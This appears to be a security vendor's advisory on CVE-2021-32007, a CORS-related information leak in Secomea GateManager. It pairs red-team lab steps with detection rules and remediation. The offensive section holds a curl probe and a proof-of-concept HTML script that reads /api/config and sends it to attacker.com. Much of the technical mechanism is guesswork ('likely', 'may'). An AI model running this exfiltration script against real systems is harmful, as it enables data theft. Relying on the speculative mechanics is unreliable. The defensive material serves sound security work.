CVE-2021-32007

Executive Summary

CVE-2021-32007 is a Protection Mechanism Failure vulnerability in the web server of Secomea GateManager, affecting version 9.5 and all prior versions. This flaw allows an unauthenticated, remote attacker to potentially leak sensitive information to external servers due to insufficient protection mechanisms in the web server component. The vulnerability has a low CVSS score of 3.5, indicating limited direct impact, but it can serve as an information disclosure vector for further attacks. No public proof-of-concept (PoC) or exploit code is currently available, and the vendor has not released a patch. The EPSS score is 0.0%, suggesting low exploitation activity in the wild.

CVSS Breakdown & Threat Level

• CVSS Score: 3.5 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited information disclosure.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No service disruption.

Threat Level: Low. The vulnerability is limited to information leakage and has no known active exploitation. However, it could be chained with other vulnerabilities to escalate impact.

Deep Dive & Mechanics

The vulnerability resides in the web server component of Secomea GateManager, a remote access gateway used for industrial and IoT device management. The "Protection Mechanism Failure" (CWE-693) indicates that the web server fails to properly enforce security controls, such as same-origin policy, CORS headers, or input validation, allowing an attacker to exfiltrate data to remote servers.

Technical Details:

• The web server may allow cross-origin requests without proper validation, enabling an attacker to craft a malicious webpage or script that, when accessed by a victim within the same network, can read sensitive data from the GateManager web interface.
• Alternatively, the server might leak internal IP addresses, configuration details, or session tokens through error messages, headers, or API responses.
• The vulnerability is exploitable without authentication, making it accessible to any network-based attacker.

Attack Scenario:

1. An attacker identifies a GateManager instance (e.g., via Shodan).
2. The attacker crafts a malicious link or embeds a script in a third-party site.
3. A victim with access to the GateManager web interface clicks the link.
4. The script makes cross-origin requests to the GateManager, reading responses.
5. The attacker collects leaked data (e.g., internal network topology, device info).

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. The vulnerable code likely lacks proper HTTP security headers (e.g., X-Frame-Options, Content-Security-Policy) or fails to validate the Origin header in CORS requests. A patched version would implement:

• Strict CORS policies (e.g., whitelist allowed origins).
• Same-origin checks for sensitive endpoints.
• Removal of verbose error messages.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Secomea GateManager v9.5 (or earlier) running on a virtual machine.
• Attacker: Kali Linux with Burp Suite and a browser.
• Victim: A browser on the same network as the GateManager.

Exploitation Steps:

1. Reconnaissance: Use Shodan or Nmap to find GateManager instances.

   nmap -p 443 --script http-headers <target_ip>
   

2. CORS Testing: Send a cross-origin request to check for misconfiguration.

   curl -H "Origin: https://evil.com" -H "Access-Control-Request-Method: GET" -X OPTIONS https://<target_ip>/api/status
   

3. Data Exfiltration: If CORS allows arbitrary origins, craft a PoC HTML page.

   <html>
   <body>
   <script>
   fetch('https://<target_ip>/api/config')
     .then(response => response.text())
     .then(data => fetch('https://attacker.com/exfil?data=' + btoa(data)));
   </script>
   </body>
   </html>
   

4. Deliver Payload: Host the page on a server and trick a victim into visiting it.

Blue Team (Defensive)

Detection:

• Monitor for unusual Origin headers in HTTP requests to GateManager.
• Alert on cross-origin requests to sensitive endpoints (e.g., /api/*).
• Use WAF rules to block requests with unexpected origins.

Hunting:

• Search logs for OPTIONS requests with Access-Control-Request-Method.
• Look for outbound connections from GateManager to unknown IPs (data exfiltration).

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests with Origin: https://evil.com or similar suspicious origins.
  • Outbound connections from GateManager to IPs not in the allowlist.
  • OPTIONS requests to /api/* endpoints with Access-Control-Request-Method.
• File IOCs:
  • Unusual log entries in /var/log/gatemanager/access.log showing cross-origin requests.
• Behavioral IOCs:
  • Unexpected data transfers from GateManager to external servers.

Detection Engineering

YARA Rule

rule CVE_2021_32007_InfoLeak {
    meta:
        description = "Detects potential exploitation of CVE-2021-32007 via CORS misconfiguration"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2021-32007"
    strings:
        $cors_origin = /Origin:\s*https?:\/\/[^\/]+\.[^\/]+/ nocase
        $api_endpoint = /\/api\/(config|status|info)/ nocase
        $exfil_pattern = /exfil|leak|steal/i
    condition:
        $cors_origin and $api_endpoint and #exfil_pattern > 0
}

Sigma Rule

title: CVE-2021-32007 - Secomea GateManager Information Leak via CORS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects cross-origin requests to Secomea GateManager API endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'OPTIONS'
        cs-uri-query|contains: '/api/'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate cross-origin requests from trusted domains
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2021-32007 - Secomea GateManager CORS Misconfiguration"; flow:to_server; http.method; content:"OPTIONS"; http.uri; content:"/api/"; http.request_header; content:"Origin"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Isolate GateManager instances from untrusted networks.
2. Web Application Firewall (WAF): Deploy rules to block unexpected Origin headers.
3. Disable Unnecessary Features: If possible, disable the web interface or restrict access via firewall rules.

Long-Term Fix:

• Since no vendor patch is available, consider upgrading to a newer version if released, or migrate to an alternative solution.
• Implement strict CORS policies manually if the application allows configuration.
• Monitor vendor advisories for future patches.

Workaround:

• Use a reverse proxy (e.g., Nginx) in front of GateManager to enforce security headers:

  add_header X-Frame-Options "DENY";
  add_header Content-Security-Policy "default-src 'self'";
  add_header Access-Control-Allow-Origin "https://trusted-domain.com";
  

Valters IT